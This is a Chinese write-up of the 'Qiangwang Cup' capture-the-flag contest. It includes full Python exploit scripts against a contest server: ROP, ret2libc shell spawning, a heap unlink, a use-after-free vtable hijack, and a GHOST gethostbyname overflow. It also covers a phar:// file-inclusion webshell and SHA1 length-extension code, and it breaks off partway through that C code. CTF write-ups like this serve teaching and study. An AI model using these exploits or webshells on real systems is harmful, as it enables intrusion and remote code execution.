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“强网杯”网络安全挑战赛WriteUp

“强网杯”挑战赛是面向国内信息安全企业(团队)和高等院校的国家级网络安全赛事,也是第二届国家网络安全宣传周的重要活动之一。

Guess

溢出点:

程序是个按图回答的游戏,游戏通关后会让输入邮箱,会打印

Thank you so much! I will send you a gift, bye!

最开始手试了两把,输入正确的邮箱,但是flag都没有发到邮箱里。

仔细看程序,才发现是个栈溢出。

“强网杯”网络安全挑战赛WriteUp

利用:

这个程序没有给libc库,要拿shell比较困难,不过程序中有读取文件的函数,

“强网杯”网络安全挑战赛WriteUp

所以直接构造rop去读取flag文件。

利用脚本:

from zio import * target = ('119.254.101.197',10000) #target = './guess' def exp(target):  io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))  io.gdb_hint()  d = io.read_until('What').split('What')[0]  addr = 0x08048830  io.writeline('a'*0x9c+l32(addr)+l32(0)+l32(0x0804A100))  io.read_until('!/n')  #for i in range(9):  for i in range(5):   d = io.read_until('What').split('What')[0]   if 'quu' in d:    io.writeline('pikachu')   elif 'COOL' in d:    io.writeline('peanuts')   elif 'bug' in d:    io.writeline('batman')   elif '88888888888' in d:    io.writeline('linux')   elif '==o==' in d:    io.writeline('superman')  io.read_until('email:')  io.writeline('flag')  io.interact() exp(target) 

urldecoder

在url解码函数中虽然对长度做了限制,不过对%后面的两个字符没有做严格的判断,所以可以在%后面的两个字符中放一个/x00绕过strlen的判断,从而栈溢出。

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

脚本如下: from zio import * target = ('119.254.101.197',10001) #target = './urldecoder' def exp(target):   io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))   io.read_until('URL:')   pop_ebp_ret = 0x080488D2   puts_plt = 0x08048530   puts_got = 0x08049DE8   read_fun = 0x08048720   main = 0x08048590   payload = 'http://%/x32/x00'+'a'*0x94 + l32(puts_plt) + l32(pop_ebp_ret) + l32(puts_got)   payload += l32(main)   payload += '/x00'   io.writeline(payload)   io.read_until('/n')   puts_addr = l32(io.read(4))   print hex(puts_addr)   libc_base = puts_addr - 0x00065650   io.read_until('URL:')   system_addr = libc_base + 0x00040190   binsh_addr = libc_base + 0x00160A24   payload = 'http://%/x32/x00'+'a'*0x94 + l32(system_addr) + l32(pop_ebp_ret) + l32(binsh_addr)   io.writeline(payload)   io.interact() exp(target) 

shellman

在edit的时候没有对长度做判断,存在堆溢出

“强网杯”网络安全挑战赛WriteUp

利用:

参考了217的0ctf freenote的writeup中的思路,通过堆溢出,修改下一块堆的size字节中的prev_inuse比特位,让下一块堆误认为其上一块堆处于空闲态。

之后在free 下一块堆时,后调用unlink。通过伪造的上一块堆结构,修改了bss节中的一个堆指针。

之后利用程序的edit和show功能,实现内存的任意读写。

利用脚本: from zio import * target = ('119.254.101.197', 10002) #target = './shellman' def new_sc(io, sc):  io.read_until('>')  io.writeline('2')  io.read_until(':')  io.writeline(str(len(sc)))  io.read_until(':')  io.write(sc) def edit_sc(io, index, new_sc):  io.read_until('>')  io.writeline('3')  io.read_until(':')  io.writeline(str(index))  io.read_until(':')  io.writeline(str(len(new_sc)))  io.read_until(':')  io.write(new_sc) def delete_sc(io, index):  io.read_until('>')  io.writeline('4')  io.read_until(':')  io.writeline(str(index)) def list_sc(io):  io.read_until('>')  io.writeline('1')  io.read_until('SHELLC0DE 0: ')  return l64(io.read(16).decode('hex')) def exp(target):  #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green'))  io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))  new_sc(io, 'a'*0xa0) #0x603010  new_sc(io, 'b'*0xa0) #0x6030c0  new_sc(io, '/bin/sh;'+'c'*0x98) #0x603170  ptr_addr = 0x00000000006016d0  #         rax      rdx  payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0)  edit_sc(io, 0, payload) # change *0x6016d0 = 0x6016b8  delete_sc(io, 1)  free_got = 0x0000000000601600  payload2 = l64(0) + l64(1) +l64(0xa0) + l64(free_got)  edit_sc(io, 0, payload2)  free_addr = list_sc(io)  print hex(free_addr)  #local  '''  system_addr = 0x00007FFFF7A5B640  '''  libc_base = free_addr - 0x0000000000082DF0  system_addr = libc_base + 0x0000000000046640  edit_sc(io, 0, l64(system_addr))  delete_sc(io, 2)  io.interact() exp(target) 

imdb

漏洞点:

在删除操作的时候,会将所有同名的全部删除,但是只会将最后一个的指针清0,存在uaf漏洞。

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

利用:

因为movie和tv结构体的前4字节为一个虚表指针,所以考虑伪造虚表。不过因为程序中所有用户输入的数据都存储在堆上,伪造的虚表也只能放在堆上,要想获取伪造虚表的地址,需要先通过泄露一个堆指针得到伪造虚表所在地址。同时,为了拿shell还需要获取libc库加载基地址。

利用打印movie中的actors可以实现任意地址的读取。

“强网杯”网络安全挑战赛WriteUp

这道题没有给libc库,不过根据泄露的信息可以知道用的库和shellman是同一个,所以也就相当于有libc库。

利用的脚本如下: from zio import * target = ('119.254.101.197',10003) #target = './imdb' def add_tv(io, name, session, rating, introduction):   io.read_until('?')   io.writeline('1')   io.read_until('?')   io.writeline(name)   io.read_until('?')   io.writeline(str(session))   io.read_until('?')   io.writeline(str(rating))   io.read_until('?')   io.writeline(introduction) def add_movie(io, name, actors, rating, introduction):   io.read_until('?')   io.writeline('2')   io.read_until('?')   io.writeline(name)   io.read_until('?')   io.writeline(actors)   io.read_until('?')   io.writeline(str(rating))   io.read_until('?')   io.writeline(introduction) def remove_entry(io, name):   io.read_until('?')   io.writeline('3')   io.read_until('?')   io.writeline(name) def show_all(io):   io.read_until('?')   io.writeline('4')   io.read_until('bbbbbbbb')   io.read_until('actors: ')   d = io.read_until('/n').strip('/n')   malloc_addr = l64(d.ljust(8, '/x00'))   print hex(malloc_addr)   io.read_until('bbbbbbbb')   io.read_until('actors: ')   d = io.read_until('/n').strip('/n')   heap_addr = l64(d.ljust(8, '/x00'))   print hex(heap_addr)   return malloc_addr, heap_addr def exp(target):   io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))   add_tv(io, 'aaa', 100, 200, 'bbbb') #0x602010   add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6020f0   add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6021d0   remove_entry(io, 'aaa')   malloc_got = 0x0000000000601C58   db_addr = 0x601dc0   movie_vt = 0x00000000004015b0   payload = l64(movie_vt) + 'a'*8 + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(malloc_got)   print len(payload)   add_movie(io, 'ccc', payload, 300, 'eeee') #0x602010 0x602110   add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6021e0   add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6022c0   add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6023a0   remove_entry(io, 'hhh')   payload = l64(movie_vt) + 'a'*8 + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)   add_movie(io, 'ccc', payload, 300, 'eeee')   malloc_addr, heap_addr = show_all(io)   io.gdb_hint()   add_tv(io, 'jjj', 100, 200, 'bbbb') #0x6023b0   add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602490   add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602570   remove_entry(io, 'jjj')   #local   #addr2 = malloc_addr - 0x00007FFFF7277750 + 0x00007FFFF723B52C   #remote   addr2 = malloc_addr - 0x0000000000082750 + 0x000000000004652c   fake_vt = 0x6023b0+8 - 0x602010 + heap_addr   payload = l64(fake_vt) + '/bin/sh;' + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)   print len(payload)   add_movie(io, l64(addr2), payload, 300, 'eeee')   io.writeline('4')   io.interact() exp(target) 

domain_db

漏洞:

该程序调用了gethostbyname,同时提供的libc的版本为2.15.(通过strings libc.so.6 | grep GLIBC查看),所以基本确定是去年的ghost漏洞。

因为当时漏洞刚出来时,大概看了一下漏洞,知道漏洞为4字节溢出。需要达到溢出需要满足2个条件:

Gethostbyname的name参数需要大于0×400,且均为数字或者.号。

通过分析,发现该漏洞可以覆盖下一个堆的size位。

利用过程大致如下:

1.       申请了0-10个domain。

2.       释放domain1

3.       调用gethostbyname,此时保证gethostbyname中申请的堆刚好完全占用domain1释放出来的堆。这样刚好能覆盖domain2的size位,覆盖为0×3231,即对应ascii中的21。

4.       释放domain2。 此时domain2的size被修改了,所以释放时堆管理器会将domain3-10的区域也回收了。此步为了保证过free check,我让domain2_ptr + fake_size == av->top。

5.       之后再次申请空间时,会将domain3-10的空间会被再次分配。可以通过修改其中某个domain的name指针为free_got。

6.       之后利用程序的show和edit功能对free_got进行读取和改写。

利用脚本如下: from zio import * target = ('119.254.101.197', 10006) #target = './domain_db' def add_domain(io, name):  io.read_until('>')  io.writeline('1')  io.read_until(':')  io.writeline(name) def lookup_domain(io, id):  io.read_until('>')  io.writeline('5')  io.read_until(':')  io.writeline(str(id)) def edit_domain_name(io, id, new_name):  io.read_until('>')  io.writeline('2')  io.read_until(':')  io.writeline(str(id))  io.read_until(':')  io.writeline(new_name) def remove_domain(io, id):  io.read_until('>')  io.writeline('3')  io.read_until(':')  io.writeline(str(id)) def list_domain(io):  io.read_until('>')  io.writeline('4')  io.read_until('<1> ')  free = l32(io.read(4))  print hex(free)  return free def exp(target):  io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))  io.gdb_hint()  add_domain(io, '0' * (0x800 - 16 - 8 - 1 - 4 - 3)+'12') #0 0x804c008 0x804c7f0  add_domain(io, '0'*0x770) #1 0x804c878 0x804cff0  top=0x804d070  add_domain(io, '0'*0x1a0) #2  add_domain(io, '/bin/sh'+'0'*0x88) #3 0x0804d340 0x0804d2a8  add_domain(io, '0'*0x10) #4 0x0804d3e0  add_domain(io, '0'*0x5b0) #5  add_domain(io, '0'*0x770) #6  add_domain(io, '0'*0x770) #7  add_domain(io, '0'*0x770) #8  add_domain(io, '0'*0x770) #9 add_domain(io, '/bin/sh;'+'0'*(0x770-8)) #10  remove_domain(io, 1) lookup_domain(io, 0) remove_domain(io, 2) # top = 0x804d070 unsort=0x804d218  ptr_addr = 0x0804b0a4  add_domain(io, '0'*0x90) #1 0x0804d220  free_got = 0x0804b004  payload2 = 272*'1' + l32(free_got)  add_domain(io, payload2)  free = list_domain(io)  #local  system = 0xb7e55060  #remote  system = free - 0x781b0 + 0x3d170  edit_domain_name(io, 1, l32(system))  remove_domain(io, 10)  io.interact() exp(target) 

最好的语言php

页面很简单,没什么信息,发现了index.php.bak文件,

“强网杯”网络安全挑战赛WriteUp

其中数据库连接和sqli过滤部分隐藏了,尝试了一下确实没有sql注入漏洞。看代码的逻辑应该是在$id==1024的时候会在数据库中查询出flag。利用php与mysql对浮点数据处理精度不同。?id=1024.[若干0]1,尝试几个即可得出flag。

俳句自动打分系统

这道题难度有两点,一个是文件包含漏洞的利用,page=php://filter/convert.base64-encode/resource=index,可以看到index.php文件源码base64编码之后的代码。分析之后可以看到xxtp协议已经过滤,而且最后include语句会加上.php后缀。phar协议可以构造出可包含的poc。

网上搜的phar打包的代码:

<?php try{  $p = new Phar(dirname(__FILE__) . "my.phar", 0, 'my.phar'); } catch (UnexpectedValueException $e) {  die('Could not open my.phar'); } catch (BadMethodCallException $e) {  echo 'technically, this cannot happen'; } $p->startBuffering(); $p['1.php'] = file_get_contents('shell.php'); $p->setStub("<?php  Phar::mapPhar('myphar.phar'); __HALT_COMPILER();"); $p->stopBuffering(); ?> 

上面代码会把shell.php打包的phar包中去。因为协议是对本地文件包含,在robots.txt中找到txt文件上传路径,且会返回文件名。将phar包改.txt文件名上传,构造poc:

?page=phar://upload_paiju/Eny2CRWfkt91Gf69.txt/1

这样包含之后的路径就是

Include(upload_paiju/Eny2CRWfkt91Gf69.txt/1.php)

其中Eny2CRWfkt91Gf69.txt/1.php是对phar包中1.php文件的访问方式(可以查一下phar用法)。

获得了webshell。

在第一天,我用的eval一句话木马,eval可用,但是脚本过几秒钟就会被删除。而且没有找到flag文件。

第二天服务重开之后,发现eval木马用不了了,因为这个题目过滤比较严格,可能被过滤了,就换了preg_replace写的一句话,可用。植入代码ini_get_all()获得所有的php.ini文件内容。其中看到被允许的路径只有网站根目录、tmp、和/srv(这是什么鬼?)

Flag就在/srv下躺着了。

这种题目比较好玩,估计是前面进去的人写了php脚本过几秒就删除别人上传的文件,第二天就不存在这种问题了,遇到的问题和后来上来的很大不同,坏人增多了。

Flager-checker

看下源码,只要满足这一行就可以:

“强网杯”网络安全挑战赛WriteUp

后面用&&隔开的一共有47个方程,理论上47个方程47个未知量是可解的,仔细观察一下,可以发现,如果将方程按照长度排序的话,从上至下每隔一行即可解出来一个变量,他的方程每多一行就只多了一个变量而已,那么就可以利用eval对新多出来的变量进行爆破了,脚本:

“强网杯”网络安全挑战赛WriteUp

Keygen

程序有很多种解,通过向服务器提交一种解就可以获得flag:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

最优先确定的是4,9,14,19位置,然后,将之前的程序临摹,通过对部分位置的固定赋值可以直接计算出另外位置的合适的数值。

__author__ = 'bibi' import hashlib a1="0"*24 def run(a1):  if len(a1)!=24:   return 0  v16= [   a1[11],   a1[2],   a1[1], #0   a1[13],   a1[16], #0   a1[10],   a1[7], #0   a1[17],  ]  v8 = [   a1[15], #0   a1[12],   a1[18], #0   a1[0],   a1[6], #0   a1[8],   a1[5], #0   a1[3],  ]  v16 += v8  f = open('./sn_download', 'rb')  d = f.read()[0x18e0:]  f.close()  v24=[]  #print v16  for j in range(16):   if (ord(d[j]) - 48 > 9) | (ord(d[j]) < 48):    k = ord(d[j])    v24.append(v16[k])   else:    v24.append(d[j])  #print v24  #print ''.join(c for c in v24)  temp="".join(v24)  v25=hashlib.md5(temp).digest()  #print v25  #print v25.encode('hex')  v26=[]  f = open('./sn_download', 'rb')  d2 = f.read()[0x18f0:]  f.close()  for k in range(16):   v26.append(d2[ord(v25[k]) >> 4])   v26.append(d2[ord(v25[k]) & 0xf])  #print v26  v42 = ''  for i in range(16):   v42 =v42 + str(ord(v26[i]))  temp = v42.split('0')  final_v42 = ''  for t in temp:   final_v42 += t  '''  for m in range(5,13):   if final_v42[m] != v8[m-5]:    result=0    return 0  '''  v8 = final_v42[5:13]  a2 = a1[0:15]+v8[0]+a1[16:]  a2 = a2[0:12]+v8[1]+a2[13:]  a2 = a2[0:18]+v8[2]+a2[19:]  a2 = v8[3]+a2[1:]  a2 = a2[0:6]+v8[4]+a2[7:]  a2 = a2[0:8]+v8[5]+a2[9:]  a2 = a2[0:5]+v8[6]+a2[6:]  a2 = a2[0:3]+v8[7]+a2[4:]  return a2 a1 = 'aaaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'abaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'acaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'adaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'aeaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'afaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'agaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'ahaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'aiaa-aaaa-aaaa-aaaa-aaaa' print run(a1) a1 = 'ajaa-aaaa-aaaa-aaaa-aaaa' print run(a1) 

Broken

什么都是坏的,找了个正常的引导区直接winhex覆盖头,发现启动不了,通过vmware在windows下挂载软盘镜像或者直接winhex打开,可以找到几个文件:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

Flag文件拿下来,补上png的文件头:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

开脑洞,调大长度,拿到flag:

“强网杯”网络安全挑战赛WriteUp

NESTING DOLL

https://github.com/SilasX/QuineRelayFiles,就是一个字,装。

Repartition:

根据题目提示

“强网杯”网络安全挑战赛WriteUp

Secret.rar被删除了,用普通的数据恢复软件即可还原。

但是secretpass.txt被大文件覆盖了

找到其ntfs父目录文件记录0x80b1800,在下方偏移0×200出发现secret.rar的密码

“强网杯”网络安全挑战赛WriteUp

解压得到flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

Salt

本题关键点有两个,一个是用户名admin的绕过,另一个是sha1的长度扩展攻击。

第一点绕过的关键点是url解析的时候后面的变量会覆盖前面的变量,因此我们只需构造

/login?username=a&password=aaaaaa&username=admin

即可,注意此处的password必须为6-20位,这里取6位。

对于第二点的绕过,这里解释一下长度扩展攻击,在正常情况下,需要哈希的字符串为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt 00000010: 2F 6C 6F 67 69 6E 3F 75  73 65 72 6E 61 6D 65 3D  /login?username= 00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa 00000030: 61 26 75 73 65 72 6E 61  6D 65 3D 61 64 6D 69 6E  a&username=admin

在sha1的时候,会先补一个比特的1,也就是0×80,然后补齐至余512为418,也就是52个字节,剩余的12个字节用来补齐长度,即*(注:补齐,余512为448,最后八字节补齐长度)

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt 00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username= 00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa 00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin 00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

然后使用下面的一组数作为初始化向量进行计算,

h0=0x67452301, h1=0xEFCDAB89, h2=0x98BADCFE, h3=0x10325476, h4=0xC3D2E1F0

计算的规则是对补齐后的数据以512bit即64字节为一组进行移位异或等数学计算,每一组计算会改变h1-h4的值,这些改变的值将作为下一组计算的初始化向量。全部组计算完成后最终的初始化向量拼接起来就是sha1的值。

这样就形成了我们的攻击思路,首先发送正常的数据,获取sha1,然后我们手动补齐上一组正常的数据,又获取一个sha1,之后对第一组获取的sha1的初始化向量进行提取,修改算法中的初始化向量,然后将这个修改后的算法仅仅用于对第二组数据的补全数据进行sha1,就能得出与第二组获取的sha1相同的数据。

也就是说我们发送的第一组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt 00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username= 00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa 00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin

这组数据获取的sha1为a02d54c05cecc94ff2d698146e0b2c778104d85,获取的初始化向量分别为0xa02d54c0,0x5cecc94f,0xf2d69814,0x6e0b2c77,0x8104d85

发送的第二组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt 00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username= 00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa 00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin 00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

该组在计算过程中,补全的结果为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt 00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username= 00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa 00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin 00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................ 00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................ 00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

获取的sha1为f687bedf0ce1e96f9238c7dae716337b0d9d74ad

因此我们只需将初始化变量0xa02d54c0,0x5cecc94f0x,f2d69814,0x6e0b2c77,0x8104d85带入算法,只需计算补上的信息

00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................ 000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

就可以得出与第二组相等的sha1,即f687bedf0ce1e96f9238c7dae716337b0d9d74ad

本题中,由于获取的sha1不全,只需对第一次获取的sha1中的x进行爆破,就可以得到第一次的sha1,提交即可。

先用python写了一个爆破,结果太慢了,有用c写了一个

代码 Sha1.h //! SHA1 动态链接库实现   H文件 #ifndef SHA1_H #define SHA1_H   #include "stdio.h" //! #定义SHA 中的返回ENUM /*!      @see enum */ #ifndef _SHA_enum_ #define _SHA_enum_ enum {          shaSuccess   = 0,          /*!   <空指示参量 */          shaNull,                     /*!   < 输入数据太长提示 */          shaInputTooLong,           /*! <called Input after Result --以输入结果命名之 */          shaStateError      }; #endif //! SHA1HashSize定义的是SHA1哈希表的大小 #define SHA1HashSize 20 //!   #能够进行动态链接库编译的SHA1类  /*!         @see class _declspec(dllexport) SHA_1        将SHA1算法写成动态链接库的形式方便调用,生成消息使用  */ class _declspec(dllexport) SHA_1 { public:          //!   #定义数据结构控制上下文消息 SHA1Context          /*!              以下这种结构将会控制上下文消息 for   the SHA-1              hashing operation                    @see   struct SHA1Context          */          typedef   struct SHA1Context          {                    unsigned   long Intermediate_Hash[SHA1HashSize/4]; /*! <Message Digest  */                      unsigned   long Length_Low;            /*!   <Message length in bits      */                    unsigned   long Length_High;           /*!   <Message length in bits      */                      /*!   <Index into message block array   */                    long   Message_Block_Index;                    unsigned   char Message_Block[64];      /*!   <512-bit message blocks      */                      int   Computed;               /*! <Is the   digest computed?         */                    int   Corrupted;             /*! <Is the   message digest corrupted? */          }   SHA1Context;   public:       //! #SHA_1 的构造函数       /*!           @see SHA_1()       其中应该对SHA_1类中的一些变量进行相应的初始化       */          SHA_1();          //!   #SHA_1的析构函数       /*!          @see   ~SHA_1()       释放内存       */          ~SHA_1(void);            /*----------------------------------函数原型----------------------------------*/          //!   #SHA1算法中的数据填充模块       /*!            @see void SHA1PadMessage(SHA1Context *);            @param[SHA1Context*  定义填充信息指针            @return[void] 不返回任何值       */          void   SHA1PadMessage(SHA1Context *);      /*  定义填充信息指针  */       //! #SHA1的消息块描述函数       /*!            @see void SHA1ProcessMessageBlock(SHA1Context   *);            @param[SHA1Context*  定义填充信息指针            @param[in] 消息块长度为固定之512比特            @return[void] 不返回任何值       */          void   SHA1ProcessMessageBlock(SHA1Context *);          //!   #SHA1的数据初始化操作函数       /*!            @see int SHA1Reset(  SHA1Context *);            @param[SHA1Context*  定义填充信息指针            @return[int] 成功返回shaNull,失败返回shaSuccess            @see SHA1 enum       */          int   SHA1Reset(  SHA1Context *,unsigned long   , unsigned long , unsigned long,unsigned long,unsigned long);          //!   #SHA1的输入描述函数       /*!            @see int SHA1Input(  SHA1Context *, const unsigned char *,   unsigned int);            @param[SHA1Context*  定义填充信息指针       @param[unsigned char 接收单位长度为8字节倍数的消息            @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError            @see SHA1 enum       */          int   SHA1Input(  SHA1Context *, const   unsigned char *, unsigned int);          //!   #SHA1的结果描述函数       /*!            @see int SHA1Result( SHA1Context *,   unsigned char Message_Digest[SHA1HashSize]);            @param[SHA1Context*  定义填充信息指针       @param[unsigned char 160比特的消息摘要队列            @attention 返回一个160比特的消息摘要队列            @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError            @see SHA1 enum       */          int   SHA1Result( SHA1Context *, unsigned char Message_Digest[SHA1HashSize]);   private: };   #endif // SHA1_H     Sha1.app // sha1.cpp : Defines the entry   point for the console application. //   #include "SHA1.h" #include "stdio.h" #include "windows.h" /*!以下所用各种参量名称皆为sha-1在出版物上所用之公用名称  */ /*  *  以下是为 SHA1 向左环形移位宏 之定义  */   BOOL isattack = FALSE; int paddinglength = 0;   #define   SHA1CircularShift(bits,word) /                 (((word) << (bits)) |   ((word) >> (32-(bits))))   SHA_1::SHA_1() { }   SHA_1::~SHA_1(void) { }   /*  *  以下为sha-1消息块描述:  *  消息块长度为固定之512比特  */ void   SHA_1::SHA1ProcessMessageBlock(SHA1Context *context) {       const unsigned long K[] =      {       /* Constants defined in   SHA-1   */                             0x5A827999,                             0x6ED9EBA1,                             0x8F1BBCDC,                             0xCA62C1D6                             };       int               t;                 /* 循环计数 */       unsigned long      temp;              /* 临时缓存 */       unsigned long      W[80];             /* 字顺序   */       unsigned long      A, B, C, D,   E;     /* 设置系统磁盘缓存块 */         /*      *    以下为初始化在W队列中的头16字数据      */       for(t = 0; t < 16; t++)       {         W[t] = context->Message_Block[t *   4] << 24;         W[t] |= context->Message_Block[t *   4 + 1] << 16;         W[t] |= context->Message_Block[t *   4 + 2] << 8;         W[t] |= context->Message_Block[t *   4 + 3];       }         for(t = 16; t < 80; t++)       {        W[t] = SHA1CircularShift(1,W[t-3] ^   W[t-8] ^ W[t-14] ^ W[t-16]);       }         A = context->Intermediate_Hash[0];       B = context->Intermediate_Hash[1];       C = context->Intermediate_Hash[2];       D = context->Intermediate_Hash[3];       E = context->Intermediate_Hash[4];       /*       *    以下为定义算法所用之数学函数及其迭代算法描述       */       for(t = 0; t < 20; t++)       {                    temp   =  SHA1CircularShift(5,A) +                             ((B   & C) | ((~B) & D)) + E + W[t] + K[0];                    E   = D;                    D   = C;                    C   = SHA1CircularShift(30,B);                    B   = A;                    A   = temp;       }         for(t = 20; t < 40; t++)       {         temp = SHA1CircularShift(5,A) + (B ^   C ^ D) + E + W[t] + K[1];         E = D;         D = C;         C = SHA1CircularShift(30,B);         B = A;         A = temp;       }         for(t = 40; t < 60; t++)       {         temp = SHA1CircularShift(5,A) +                ((B & C) | (B & D) |   (C & D)) + E + W[t] + K[2];         E = D;         D = C;         C = SHA1CircularShift(30,B);         B = A;         A = temp;       }         for(t = 60; t < 80; t++)       {         temp = SHA1CircularShift(5,A) + (B ^   C ^ D) + E + W[t] + K[3];         E = D;         D = C;         C = SHA1CircularShift(30,B);         B = A;         A = temp;       }       /*       *    以下为迭代算法第80步(最后一步)描述      */       context->Intermediate_Hash[0] += A;       context->Intermediate_Hash[1] += B;       context->Intermediate_Hash[2] += C;       context->Intermediate_Hash[3] += D;       context->Intermediate_Hash[4] += E;         context->Message_Block_Index = 0; }     /*  *    SHA1PadMessage  *  数据填充模块  */   void   SHA_1::SHA1PadMessage(SHA1Context *context) {         if (context->Message_Block_Index > 55)       {           context->Message_Block[context->Message_Block_Index++] = 0x80;         while(context->Message_Block_Index   < 64)         {               context->Message_Block[context->Message_Block_Index++] = 0;           }           SHA1ProcessMessageBlock(context);           while(context->Message_Block_Index   < 56)         {               context->Message_Block[context->Message_Block_Index++] = 0;         }       }       else       {           context->Message_Block[context->Message_Block_Index++] = 0x80;         while(context->Message_Block_Index   < 56)         {               context->Message_Block[context->Message_Block_Index++] = 0;         }       }         /*      *    把最后64位保存为数据长度      */          if(isattack)                    context->Length_Low   = paddinglength*8;         context->Message_Block[56] = context->Length_High >> 24;       context->Message_Block[57] = context->Length_High >> 16;       context->Message_Block[58] = context->Length_High >> 8;       context->Message_Block[59] = context->Length_High;       context->Message_Block[60] = context->Length_Low >> 24;       context->Message_Block[61] = context->Length_Low >> 16;       context->Message_Block[62] = context->Length_Low >> 8;       context->Message_Block[63] = context->Length_Low;         SHA1ProcessMessageBlock(context); }   /*  *    SHA1Reset  *   *  以下为数据初始化之操作  *    Parameters:(参数设置)  *    context: [in/out]  *  The   context to reset.  *  */ int SHA_1::SHA1Reset(SHA1Context   *context, unsigned long h1, unsigned long h2, unsigned long h3,unsigned long   h4,unsigned long h5) {       if (!context)       {         return shaNull;       }         context->Length_Low               = 0;       context->Length_High              = 0;       context->Message_Block_Index      = 0;         context->Intermediate_Hash[0]     = h1;       context->Intermediate_Hash[1]     = h2;       context->Intermediate_Hash[2]     = h3;       context->Intermediate_Hash[3]     = h4;       context->Intermediate_Hash[4]     = h5;         context->Computed   = 0;       